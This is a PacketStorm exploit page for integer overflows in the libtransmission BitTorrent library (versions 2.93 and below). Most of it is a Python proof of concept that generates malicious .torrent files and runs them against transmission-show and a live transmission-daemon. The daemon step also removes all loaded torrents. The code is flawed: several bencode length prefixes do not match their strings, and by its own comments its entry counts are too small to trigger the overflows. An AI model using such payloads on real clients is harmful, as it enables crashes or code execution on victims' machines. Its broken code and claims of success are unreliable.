PACKETSTORM 9.8 CRITICAL

📄 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137

December 19, 2025 invoker category_exploit
9.8 / 10
CRITICAL
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

libtransmission versions 2.93 and below suffer from multiple integer overflows. A remote attacker could create a specially crafted .torrent file which may be small when compressed that exploits these overflows when a victim loads it via Transmission or...
Visit Original Source

Basic Information

ID PACKETSTORM:213137
Published Dec 19, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : libtransmission 2.93(Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/transmission |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212492/

[+] Summary : Integer Overflow Vulnerabilities in libtransmission (Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files
Multiple integer overflow vulnerabilities were discovered in libtransmission, the core library of the open-source Transmission BitTorrent client.
The vulnerabilities reside in memory allocation wrapper macros (tr_new, tr_new0, tr_renew) and related functions used during torrent file parsing.
These flaws could allow an attacker to craft a malicious torrent file that, when loaded by Transmission, triggers memory corruption,
potentially leading to application crashes, denial of service, or arbitrary code execution.

[+] Key Vulnerabilities:

Unsafe Allocation Macros: The tr_new, tr_new0, and tr_renew macros multiply element counts by sizeof(type) without checking for integer overflow, leading to undersized memory allocations.

Affected Parsing Functions: The overflow-prone macros are used in critical parsing functions: parseFiles, getannounce, geturllist, and tr_metainfoParseImpl.

Missing Checks in containerReserve: The containerReserve function fails to validate against integer overflow or allocation failure.

Signed Integer in tr_sha1: The tr_sha1 function uses a signed int for length parameters instead of size_t, risking memory corruption with very large torrents.

[+] Impact:
A remote attacker could create a specially crafted .torrent file (which may be small when compressed) that exploits these overflows when a victim loads it via Transmission or its command-line interface (transmission-cli). Successful exploitation could compromise the stability and security of the client.

Proof of Concept:

The report includes pyhthon scripts to generate malicious torrent files that demonstrate the overflows on both 32-bit and 64-bit systems.

[+] POC :

#!/usr/bin/env python3
"""
libtransmission Integer Overflow Exploit - Proof of Concept
CVE-2018-10756, CVE-2018-10757, CVE-2018-10758

This PoC demonstrates multiple integer overflow vulnerabilities
in Transmission BitTorrent client versions <= 2.93.

Tested on: Transmission 2.92 (Ubuntu 18.04, 32-bit)

by indoushka
"""

import struct
import sys
import os
import gzip
import subprocess
import tempfile
import time
import threading
from pathlib import Path

def print_banner():
print("""
╔══════════════════════════════════════════════════════════╗
║ libtransmission Integer Overflow Exploit PoC ║
║ Transmission <= 2.93 by indoushka ║
╚══════════════════════════════════════════════════════════╝
""")

class TorrentExploit:
def __init__(self, target_arch=32):
self.arch = target_arch

def create_heap_overflow_files(self):
"""
Trigger overflow in parseFiles():
inf->files = tr_new0(tr_file, inf->fileCount)

On 32-bit: fileCount * sizeof(tr_file) overflows
Allocates small buffer but writes large amount of data
"""
print("[*] Creating heap overflow via file list...")

# Create torrent with massive file list
# Each file entry: d6:lengthi<len>e4:pathl<path>ee

torrent = b"d"
torrent += b"4:infod"
torrent += b"4:name12:exploit_torrent"
torrent += b"12:piece lengthi16384e"
torrent += b"6:pieces20:" + (b"A" * 20) # Single piece hash

# Start files list
torrent += b"5:filesl"

# Add legitimate files first (2 real files)
torrent += b"d6:lengthi1024e4:pathl9:file1.txtee"
torrent += b"d6:lengthi1024e4:pathl9:file2.txtee"

# Now add massive number of minimal file entries
# "de" = empty dictionary, smallest possible entry
# This creates list entries without allocating much data
if self.arch == 32:
# For 32-bit: aim for allocation size ~0x20
# sizeof(tr_file) = 32 bytes (0x20)
# We want: fileCount * 0x20 = 0x800000020 (overflows to 0x20)
# So fileCount = 0x40000001 = 1073741825
# But we'll use smaller value for PoC
empty_count = 10000 # Reduced for PoC, real exploit would use millions
else:
empty_count = 100000

torrent += b"de" * empty_count

torrent += b"e" # End files list
torrent += b"e" # End info dict
torrent += b"e" # End torrent

return torrent

def create_announce_list_overflow(self):
"""
Trigger overflow in getannounce():
trackers = tr_new0(tr_tracker_info, n)
"""
print("[*] Creating announce-list overflow...")

torrent = b"d"
torrent += b"4:infod"
torrent += b"4:name6:testme"
torrent += b"12:piece lengthi16384e"
torrent += b"6:pieces20:" + (b"B" * 20)
torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"

# Add massive announce-list
torrent += b"13:announce-listl"

# Each tier: l[url]e
# We'll create many tiers with few trackers each
for i in range(5000): # Reduced for PoC
torrent += b"l"
torrent += b"6:string" # Minimal URL
torrent += b"e"

torrent += b"e" # End announce-list
torrent += b"e" # End info
torrent += b"e" # End torrent

return torrent

def create_pieces_overflow(self):
"""
Trigger overflow in tr_metainfoParseImpl():
inf->pieces = tr_new0(tr_piece, inf->pieceCount)

pieceCount = pieces_length / 20
Make pieces_length huge but divisible by 20
"""
print("[*] Creating pieces array overflow...")

# For 32-bit: pieceCount * sizeof(tr_piece) should overflow
# sizeof(tr_piece) = ? (likely at least 16 bytes)

torrent = b"d"
torrent += b"4:infod"
torrent += b"4:name8:bigpiece"
torrent += b"12:piece lengthi16384e"
torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"

# Pieces field: <length>:<data>
# We need total length that when divided by 20 gives overflow

if self.arch == 32:
# Want: (length/20) * sizeof(tr_piece) to overflow
# Let's use length = 0xFFFFFFF * 20
piece_data = b"C" * (10000) # Reduced for PoC
else:
piece_data = b"D" * 1000000

pieces_len = len(piece_data)
torrent += b"6:pieces" + str(pieces_len).encode() + b":" + piece_data
torrent += b"e" # End info
torrent += b"e" # End torrent

return torrent

def create_webseeds_overflow(self):
"""
Trigger overflow in geturllist():
inf->webseeds = tr_new0(char*, n)
"""
print("[*] Creating webseeds overflow...")

torrent = b"d"
torrent += b"4:infod"
torrent += b"4:name7:webseed"
torrent += b"12:piece lengthi16384e"
torrent += b"6:pieces20:" + (b"E" * 20)
torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"

# Add url-list (webseeds)
torrent += b"8:url-listl"

# Add many URL entries
for i in range(10000): # Reduced for PoC
torrent += b"18:http://example.com/"
torrent += str(i).encode()

torrent += b"e" # End url-list
torrent += b"e" # End info
torrent += b"e" # End torrent

return torrent

def create_combined_exploit(self):
"""
Combine multiple overflow vectors for higher success rate
"""
print("[*] Creating combined exploit torrent...")

# Build a torrent that triggers multiple overflows
torrent = b"d"

# Info dictionary
torrent += b"4:infod"
torrent += b"4:name13:combined_exploit"
torrent += b"12:piece lengthi65536e"

# Pieces - first overflow vector
# Use crafted pieces length
evil_pieces = b""
# We'll embed some pattern to detect in memory
pattern = b"DEADBEEF" * 100
evil_pieces += pattern

# Make it look like valid SHA1 hashes (20 bytes each)
while len(evil_pieces) < 20000:
evil_pieces += b"\x90" * 20 # NOP sled-like

torrent += b"6:pieces" + str(len(evil_pieces)).encode() + b":" + evil_pieces

# Files - second overflow vector
torrent += b"5:filesl"

# Add some real files
for i in range(5):
torrent += b"d6:lengthi" + str(1024 + i).encode() + b"e"
torrent += b"4:pathl"
torrent += b"8:file" + str(i).encode() + b".txt"
torrent += b"ee"

# Add many empty dicts to bloat the list count
torrent += b"de" * 5000

torrent += b"e" # End files

# Announce-list - third overflow vector
torrent += b"13:announce-listl"

# Add many tracker tiers
for tier in range(100):
torrent += b"l"
for tracker in range(10):
torrent += b"20:http://tracker" + str(tier).encode() + b".com"
torrent += b"e"

torrent += b"e" # End announce-list

# url-list - fourth overflow vector
torrent += b"8:url-listl"
for i in range(100):
torrent += b"25:http://webseed" + str(i).encode() + b".com/"
torrent += b"e"

torrent += b"e" # End info
torrent += b"e" # End torrent

return torrent

def test_with_transmission_show(torrent_data, description):
"""
Test the exploit torrent with transmission-show
This is safer than running the full client
"""
print(f"\n[+] Testing: {description}")
print(f" Torrent size: {len(torrent_data)} bytes")

# Create temporary torrent file
with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f:
f.write(torrent_data)
torrent_path = f.name

try:
# Use transmission-show to parse the torrent
# This will trigger the parsing vulnerabilities
print(" Running transmission-show...")

start_time = time.time()
result = subprocess.run(
['transmission-show', torrent_path],
capture_output=True,
text=True,
timeout=5
)
elapsed = time.time() - start_time

print(f" Command took: {elapsed:.2f} seconds")

if result.returncode != 0:
print(" [!] transmission-show crashed or failed!")
print(f" Return code: {result.returncode}")

# Check for segfault
if result.returncode < 0:
print(f" Signal: {-result.returncode}")

# Check stderr for clues
if result.stderr:
lines = result.stderr.split('\n')
for line in lines[-5:]: # Last 5 lines
if line.strip():
print(f" Error: {line}")

return True # Exploit likely triggered

else:
print(" [✓] transmission-show completed normally")
# Print some output
lines = result.stdout.split('\n')
for line in lines[:10]: # First 10 lines
if line.strip():
print(f" {line}")

return False

except subprocess.TimeoutExpired:
print(" [!] transmission-show timed out (possible hang)")
return True

except FileNotFoundError:
print(" [!] transmission-show not found in PATH")
print(" Install with: sudo apt-get install transmission-cli")
return False

except Exception as e:
print(f" [!] Exception: {e}")
return False

finally:
# Clean up
try:
os.unlink(torrent_path)
except:
pass

def test_with_transmission_daemon(torrent_data):
"""
Test with actual transmission-daemon via RPC
WARNING: This could crash the daemon!
"""
print("\n[*] Testing with transmission-daemon RPC...")

# Check if daemon is running
try:
result = subprocess.run(
['pgrep', 'transmission-da'],
capture_output=True,
text=True
)

if result.returncode != 0:
print(" [!] transmission-daemon not running")
print(" Start with: transmission-daemon")
return

print(" [✓] transmission-daemon is running")

except:
print(" [!] Could not check transmission-daemon status")
return

# Create torrent file
with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f:
f.write(torrent_data)
torrent_path = f.name

try:
# Try to add torrent via transmission-remote
print(" Adding torrent via RPC...")

result = subprocess.run(
['transmission-remote', '-a', torrent_path],
capture_output=True,
text=True,
timeout=10
)

if result.returncode != 0:
print(" [!] Failed to add torrent")
if result.stderr:
print(f" Error: {result.stderr[:200]}")
else:
print(" [✓] Torrent added (check daemon status)")

# Try to remove it
time.sleep(2)
subprocess.run(['transmission-remote', '-t', 'all', '-r'],
capture_output=True)

except subprocess.TimeoutExpired:
print(" [!] RPC command timed out (daemon might be crashed)")

except Exception as e:
print(f" [!] Exception: {e}")

finally:
try:
os.unlink(torrent_path)
except:
pass

def create_demo_torrents():
"""Create example torrents for demonstration"""
exploit = TorrentExploit(target_arch=32)

print("[*] Creating demonstration torrents...")

# 1. Basic heap overflow
torrent1 = exploit.create_heap_overflow_files()
with open("demo_overflow_files.torrent", "wb") as f:
f.write(torrent1)
print(" Created: demo_overflow_files.torrent")

# 2. Announce list overflow
torrent2 = exploit.create_announce_list_overflow()
with open("demo_overflow_announce.torrent", "wb") as f:
f.write(torrent2)
print(" Created: demo_overflow_announce.torrent")

# 3. Combined exploit
torrent3 = exploit.create_combined_exploit()
with open("demo_combined.torrent", "wb") as f:
f.write(torrent3)
print(" Created: demo_combined.torrent")

# 4. Create compressed version (for HTTP transport)
compressed = gzip.compress(torrent3, compresslevel=9)
with open("demo_compressed.torrent.gz", "wb") as f:
f.write(compressed)
print(f" Created: demo_compressed.torrent.gz")
print(f" Compression: {len(torrent3)} -> {len(compressed)} bytes")

return [torrent1, torrent2, torrent3]

def analyze_crash():
"""
Provide instructions for analyzing crashes with gdb
"""
print("\n" + "="*60)
print("CRASH ANALYSIS INSTRUCTIONS")
print("="*60)

print("""
If transmission-show crashes, you can analyze it with gdb:

1. Create the exploit torrent:
$ python3 exploit_poc.py create

2. Run with gdb:
$ gdb --args transmission-show demo_combined.torrent

3. In gdb:
(gdb) run
(gdb) bt # Backtrace after crash
(gdb) info registers
(gdb) x/20x $sp # Examine stack

4. For heap analysis:
$ valgrind --tool=memcheck transmission-show demo_combined.torrent

The crash should occur in:
- parseFiles() when writing to inf->files[]
- getannounce() when processing trackers
- containerReserve() when reallocating variant arrays

Look for:
- Heap buffer overflow warnings
- Invalid writes to memory
- Use of uninitialized values
""")

def main():
print_banner()

if len(sys.argv) > 1 and sys.argv[1] == "create":
# Just create demo torrents
create_demo_torrents()
analyze_crash()
return

print("[*] Detecting system architecture...")

# Check if we're on 32 or 64 bit
if sys.maxsize > 2**32:
print(" Detected: 64-bit Python")
arch = 64
else:
print(" Detected: 32-bit Python")
arch = 32

exploit = TorrentExploit(target_arch=arch)

print("\n[*] Starting exploit tests...")
print(" Note: These tests are safe but may crash transmission-show")
print(" Press Ctrl+C to stop at any time\n")

# Test each exploit vector
vectors = [
("Heap overflow via files", exploit.create_heap_overflow_files),
("Announce-list overflow", exploit.create_announce_list_overflow),
("Pieces array overflow", exploit.create_pieces_overflow),
("Webseeds overflow", exploit.create_webseeds_overflow),
("Combined exploit", exploit.create_combined_exploit),
]

crashes = 0
tests = 0

for name, creator in vectors:
torrent = creator()
if test_with_transmission_show(torrent, name):
crashes += 1
tests += 1

# Pause between tests
if tests < len(vectors):
time.sleep(1)

print(f"\n[+] Results: {crashes} crashes out of {tests} tests")

if crashes > 0:
print("[!] VULNERABLE: Integer overflows confirmed!")
print("\n[*] Creating demonstration torrents...")
demo_torrents = create_demo_torrents()

# Optional: Test with daemon (more dangerous)
response = input("\nTest with transmission-daemon? (y/N): ")
if response.lower() == 'y':
test_with_transmission_daemon(demo_torrents[2])

analyze_crash()

else:
print("[✓] No crashes detected (may be patched or 64-bit)")
print("\nNote: On 64-bit systems, larger values are needed")
print(" Try on a 32-bit system for better results")

print("\n" + "="*60)
print("MITIGATION RECOMMENDATIONS:")
print("="*60)
print("""
1. Patch libtransmission with overflow checks:
- Add overflow detection to tr_new/tr_new0 macros
- Use calloc or checked multiplication

2. Update to Transmission >= 2.94

3. Temporary workarounds:
- Limit maximum torrent file size
- Use seccomp/sandboxing
- Run transmission with memory limits (ulimit -v)

Example patch for tr_new macro:
#define tr_new(struct_type, n_structs) \\
((struct_type*)((SIZE_MAX / sizeof(struct_type)) >= (size_t)(n_structs) ? \\
tr_malloc(sizeof(struct_type) * (size_t)(n_structs)) : NULL))
""")

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n\n[*] Exploit test interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
import traceback
traceback.print_exc()


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.